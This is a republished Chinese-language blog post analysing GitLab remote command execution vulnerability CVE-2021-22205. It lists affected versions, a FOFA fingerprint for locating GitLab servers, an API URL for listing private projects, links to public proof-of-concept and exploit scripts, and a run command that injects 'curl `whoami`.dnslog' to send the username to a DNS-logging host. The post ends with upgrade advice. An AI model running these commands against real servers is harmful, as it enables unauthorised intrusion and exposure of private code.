Gitlab 远程命令执行漏洞(CVE-2021-22205)分析
Posted ML_Team
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Gitlab 远程命令执行漏洞(CVE-2021-22205)分析相关的知识,希望对你有一定的参考价值。
0x01 前言
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用。
0x02 漏洞分析
未授权的端口在于用户注册:https://xx.xx.xx.xx/users/sign_up
还可以滥用Gitlab API接口列出所有项目(包括私有项目)
https://xx.xx.xx.xx/api/v4/projects/?simple=yes&private=true&per_page=1000&page=1
此漏洞是通过上传功能来实现RCE的,漏洞出于ExifTool功能处,用于从图像中移除元数据的开源工具,因为此工具在解析上传图像中的元数据时,并没有完全解析某些元数据,导致攻击者上传带有恶意元数据的图片,从而导致远程命令执行。
0x03 影响版本
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
0x04 漏洞检测
FOFA指纹:
title="GitLab"
漏洞检测脚本:
https://github.com/RedTeamWing/CVE-2021-22205https://github.com/RedTeamWing/CVE-2021-22205
pocsuite3项目地址:
备注:下载CVE-2021-22205.py脚本后,将CVE-2021-22205.py脚本放置pocsuite3项目的pocsuite3-master\\pocsuite3\\pocs目录下
执行以下命令:
python3 cli.py -r pocs/CVE-2021-22205.py -u ip:port --verify
EXP:https://github.com/r0eXpeR/CVE-2021-22205
执行以下命令:
python3 CVE-2021-22205.py target "curl \\`whoami\\`.dnslog"
0x06 修复建议
- 升级至最新版本,官方下载链接:https://about.gitlab.com/update/
谢谢你的关注,为小伙伴们持续输出高质量文章。
以上是关于Gitlab 远程命令执行漏洞(CVE-2021-22205)分析的主要内容,如果未能解决你的问题,请参考以下文章
(CVE-2021-44228)Apache log4j 远程命令执行
(CVE-2021-44228)Apache log4j 远程命令执行
FortiManager & FortiAnalyzer UAF远程代码执行漏洞(CVE-2021-32589)预警
CVE-2021-41773|CVE-2021-42013——Apache HTTP Server路径遍历|远程代码执行